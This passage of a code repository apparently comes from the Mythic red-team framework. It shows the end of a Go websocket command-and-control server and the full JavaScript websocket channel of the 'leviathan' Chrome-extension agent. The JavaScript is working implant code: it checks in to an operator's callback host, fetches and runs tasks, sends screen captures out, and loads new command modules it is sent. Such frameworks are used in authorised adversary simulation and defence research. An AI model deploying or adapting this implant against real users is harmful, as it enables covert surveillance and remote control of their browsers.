137 | } else {
138 | reply.Data = string(resp)
139 | }
140 |
141 | reply.Tag = m.Tag
142 |
143 | if err = c.WriteJSON(reply); err != nil {
144 | s.Websocketlog(fmt.Sprintf("Error writing json to client %s", err.Error()))
145 | break LOOP
146 | }
147 | }
148 | }
149 | c.Close()
150 |
151 | }
152 |
153 | // ServeDefaultPage - HTTP handler
154 | func (s WebsocketC2) ServeDefaultPage(w http.ResponseWriter, r *http.Request) {
155 | log.Println("Received request: ", r.URL)
156 | log.Println("URI Path ", r.URL.Path)
157 | if (r.URL.Path == "/" || r.URL.Path == "/index.html") && r.Method == "GET" {
158 | // Serve the default page if we receive a GET request at the base URI
159 | http.ServeFile(w, r, s.GetDefaultPage())
160 | }
161 | http.Error(w, "Not Found", http.StatusNotFound)
162 | return
163 | }
164 |
165 | // Run - main function for the websocket profile
166 | func (s WebsocketC2) Run(config interface{}) {
167 | cf := config.(C2Config)
168 | s.SetDebug(cf.Debug)
169 | s.SetDefaultPage(cf.Defaultpage)
170 | mythicServerHost := os.Getenv("MYTHIC_SERVER_HOST")
171 | mythicServerPort := os.Getenv("MYTHIC_SERVER_PORT")
172 |
173 | s.SetMythicBaseURL(fmt.Sprintf("http://%s:%s/agent_message", mythicServerHost, mythicServerPort))
174 | s.SetBindAddress(cf.BindAddress)
175 | s.SetSocketURI(cf.SocketURI)
176 |
177 | // Handle requests to the base uri
178 | http.HandleFunc("/", s.ServeDefaultPage)
179 | // Handle requests to the websockets uri
180 | http.HandleFunc(fmt.Sprintf("/%s", s.SocketURI), s.SocketHandler)
181 |
182 | // Setup all the options according to the configuration
183 | if !strings.Contains(cf.SSLKey, "") && !strings.Contains(cf.SSLCert, "") {
184 |
185 | // copy the key and cert to the local directory
186 | if keyFile, err := os.Open(cf.SSLKey); err != nil {
187 | log.Println("Unable to open key file ", err.Error())
188 | } else if keyfile, err := io.ReadAll(keyFile); err != nil {
189 | log.Println("Unable to read key file ", err.Error())
190 | } else if err = os.WriteFile("key.pem", keyfile, 0644); err != nil {
191 | log.Println("Unable to write key file ", err.Error())
192 | } else if certFile, err := os.Open(cf.SSLCert); err != nil {
193 | log.Println("Unable to open cert file ", err.Error())
194 | } else if certfile, err := io.ReadAll(certFile); err != nil {
195 | log.Println("Unable to read cert file ", err.Error())
196 | } else if err = os.WriteFile("cert.pem", certfile, 0644); err != nil {
197 | log.Println("Unable to write cert file ", err.Error())
198 | }
199 | }
200 |
201 | if cf.UseSSL {
202 | err := httpscerts.Check("cert.pem", "key.pem")
203 | if err != nil {
204 | s.Websocketlog(fmt.Sprintf("Error for cert.pem or key.pem %s", err.Error()))
205 | err = httpscerts.Generate("cert.pem", "key.pem", cf.BindAddress)
206 | if err != nil {
207 | log.Fatal("Error generating https cert")
208 | os.Exit(1)
209 | }
210 | }
211 |
212 | s.Websocketlog(fmt.Sprintf("Starting SSL server at https://%s and wss://%s", cf.BindAddress, cf.BindAddress))
213 | err = http.ListenAndServeTLS(cf.BindAddress, "cert.pem", "key.pem", nil)
214 | if err != nil {
215 | log.Fatal("Failed to start raven server: ", err)
216 | }
217 | } else {
218 | s.Websocketlog(fmt.Sprintf("Starting server at http://%s and ws://%s", cf.BindAddress, cf.BindAddress))
219 | err := http.ListenAndServe(cf.BindAddress, nil)
220 | if err != nil {
221 | log.Fatal("Failed to start websocket server: ", err)
222 | }
223 | }
224 | }
225 |
226 | // Websocketlog - logging function
227 | func (s WebsocketC2) Websocketlog(msg string) {
228 | if s.Debug {
229 | log.Println(msg)
230 | }
231 | }
232 |
--------------------------------------------------------------------------------
/Payload_Type/leviathan/leviathan/agent_code/c2/leviathan-websocket.js:
--------------------------------------------------------------------------------
1 | //------------- Chrome Extension Websocket C2 mechanisms ---------------------------------
2 | // Dictionary that holds outbound messages
3 | var out = [];
4 | let screencaptures = [];
5 | let loads = [];
6 | class customC2 extends baseC2{
7 | constructor(host, port, endpoint, interval){
8 | super(host, port, endpoint,interval);
9 | this.host = host;
10 | this.port = port;
11 | this.endpoint = endpoint;
12 | this.interval = interval;
13 | this.commands = {};
14 | this.server = `${this.host}:${this.port}/${this.endpoint}`;
15 | }
16 |
17 | getConfig() {
18 | return JSON.stringify({'server': this.server, 'interval':this.interval, 'commands': JSON.stringify(this.commands)});
19 | }
20 |
21 | checkIn() {
22 | const msg = {
23 | "action":"checkin",
24 | "os":hostos,
25 | "architecture": hostarch,
26 | "user":apfell.userinfo,
27 | "uuid":apfell.uuid,
28 | "host":apfell.userinfo + "'s chrome",
29 | "pid":0,
30 | "ip":'127.0.0.1',
31 | };
32 |
33 | let checkin = JSON.stringify(msg);
34 | let checkinpayload = apfell.uuid + checkin;
35 |
36 | const meta = {
37 | "client": true,
38 | "data": btoa(unescape(encodeURIComponent(checkinpayload))),
39 | "tag":"",
40 | };
41 |
42 | const encmsg = JSON.stringify(meta);
43 | connection.send(encmsg);
44 | //console.log('Sent initial checkin');
45 | }
46 |
47 | postResponse(){
48 | if (out.length > 0){
49 | // Pop and send a message to the controller
50 | while (out.length > 0) {
51 | const msg = out.shift();
52 | const meta = {
53 | "client":true,
54 | "data": msg,
55 | "tag":""
56 | };
57 | let final = JSON.stringify(meta);
58 | connection.send(final);
59 | }
60 | }
61 | }
62 | }
63 |
64 | //------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
65 | const C2 = new customC2('callback_host', callback_port, 'ENDPOINT_REPLACE', callback_interval);
66 | const connection = new WebSocket(`${C2.server}`);
67 |
68 | function chunkArray(array, size) {
69 | if(array.length <= size){
70 | return [array];
71 | }
72 |
73 | return [array.slice(0,size), ...chunkArray(array.slice(size), size)];
74 | }
75 |
76 | function c2loop() {
77 | C2.postResponse();
78 | if (apfell.apfellid.length !== 0) {
79 | let request = {'action':'get_tasking', 'tasking_size': -1, 'delegates':[]};
80 | let msg = JSON.stringify(request);
81 | let final = apfell.apfellid + msg;
82 | let encfinal = btoa(unescape(encodeURIComponent(final)));
83 | out.push(encfinal);
84 | } else {
85 | //console.log('Apfell id not set for tasking ' + apfell.apfellid);
86 | }
87 | }
88 |
89 | var mainloop = setInterval(c2loop, C2.interval * 1000);
90 |
91 | connection.onopen = function () {
92 | C2.checkIn();
93 | };
94 |
95 | connection.onclose = function () {
96 | // Do Nothing
97 | };
98 |
99 | connection.onerror = function () {
100 | // Do Nothing
101 | };
102 |
103 | connection.onmessage = function (e) {
104 | const rawmsg = JSON.parse(e.data);
105 | const decoded = atob(rawmsg.data);
106 | const messagenouuid = decoded.slice(36, decoded.length);
107 |
108 | const message = JSON.parse(messagenouuid);
109 | switch (message.action) {
110 | case 'checkin': {
111 | // callback check in
112 | if(message.id !== undefined){
113 | apfell.apfellid = message.id;
114 | }else{
115 | C2.checkIn();
116 | }
117 | break;
118 | }
119 | case 'get_tasking' : {
120 | // handle an apfell message
121 |
122 | for (let index = 0; index < message.tasks.length; index++) {
123 | const task = message.tasks[index];
124 |
125 | try {
126 | commands_dict[task.command](task);
127 | } catch (error) {
128 | let response = {'task_id':task.id, 'completed':false, 'status':'error', 'error':'error processing task for id ' + task.id + '\n' + error.toString()};
129 | let outer_response = {'action':'post_response','responses':[response], 'delegates':[]};
130 | let msg = btoa(unescape(encodeURIComponent(apfell.apfellid + JSON.stringify(outer_response))));
131 | out.push(msg);
132 | //console.log("Error executing task: " + error.toString());
133 | }
134 | }
135 |
136 | break;
137 | }
138 | case 'post_response' : {
139 | for (let index = 0; index < message.responses.length; index++) {
140 | let response = message.responses[index];
141 |
142 | // check for screencaptures
143 | if (screencaptures.length > 0) {
144 | for (let i = 0; i < screencaptures.length; i++) {
145 | const capture = screencaptures[i];
146 | let equal = response.task_id.localeCompare(capture.task_id);
147 | if (equal === 0) {
148 | // TODO: chunk the screencapture data
149 | let raw = capture.image;
150 |
151 | let resp = {
152 | 'chunk_num': 1,
153 | 'file_id': response.file_id,
154 | 'chunk_data': raw,
155 | 'task_id': capture.task_id,
156 | };
157 |
158 | let outer_response = {
159 | 'action':'post_response',
160 | 'responses':[resp],
161 | 'delegates':[]
162 | };
163 |
164 | let enc = JSON.stringify(outer_response);
165 | let final = apfell.apfellid + enc;
166 | let msg = btoa(unescape(encodeURIComponent(final)));
167 | out.push(msg);
168 |
169 | response = {
170 | 'task_id':response.task_id,
171 | 'user_output':'screencapture complete',
172 | 'complete':true
173 | };
174 |
175 | outer_response = {
176 | 'action':'post_response',
177 | 'responses':[response],
178 | 'delegates':[]
179 | };
180 |
181 | enc = JSON.stringify(outer_response);
182 | final = apfell.apfellid + enc;
183 | msg = btoa(unescape(encodeURIComponent(final)));
184 | out.push(msg);
185 |
186 | screencaptures[i] = {};
187 | if (screencaptures.length === 1 ) {
188 | screencaptures = [];
189 | }
190 | }
191 | }
192 | }
193 | }
194 |
195 | break;
196 | }
197 | case 'upload' : {
198 | // check for load command responses
199 |
200 | if (loads.length > 0) {
201 | for (let j = 0; j < loads.length; j++) {
202 | let equal = message.file_id.localeCompare(loads[j].file_id);
203 | if (equal === 0) {
204 | let load = loads[j];
205 | if (message.chunk_num < message.total_chunks) {
206 | let raw = atob(message.chunk_data);
207 | load.data.push(...raw);
208 | loads[j] = load;
209 | let resp = {'action':'upload','chunk_size': 1024000, 'chunk_num':(message.chunk_num + 1), 'file_id':load.file_id, 'full_path':''};
210 | let encodedResponse = JSON.stringify(resp);
211 | let final = apfell.apfellid + encodedResponse;
212 | let msg = btoa(unescape(encodeURIComponent(final)));
213 | out.push(msg);
214 | } else if (message.chunk_num === message.total_chunks) {
215 | let raw = atob(message.chunk_data);
216 | load.data.push(...raw);
217 | let new_dict = default_load(load.data.join(""));
218 | commands_dict = Object.assign({}, commands_dict, new_dict);
219 | //console.log(Object.values(commands_dict));
220 | C2.commands = Object.keys(commands_dict);
221 | let response = {'task_id':load.task_id, 'user_output': load.name + " loaded", "completed":true};
222 | let outer_response = {'action':'post_response', 'responses':[response], 'delegates':[]};
223 | let enc = JSON.stringify(outer_response);
224 | let final = apfell.apfellid + enc;
225 | let msg = btoa(unescape(encodeURIComponent(final)));
226 | loads[j] = {};
227 | out.push(msg);
228 | }
229 | }
230 | }
231 | }
232 | }
233 | }
234 | };
--------------------------------------------------------------------------------
/agent_icons/leviathan.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
825 |
--------------------------------------------------------------------------------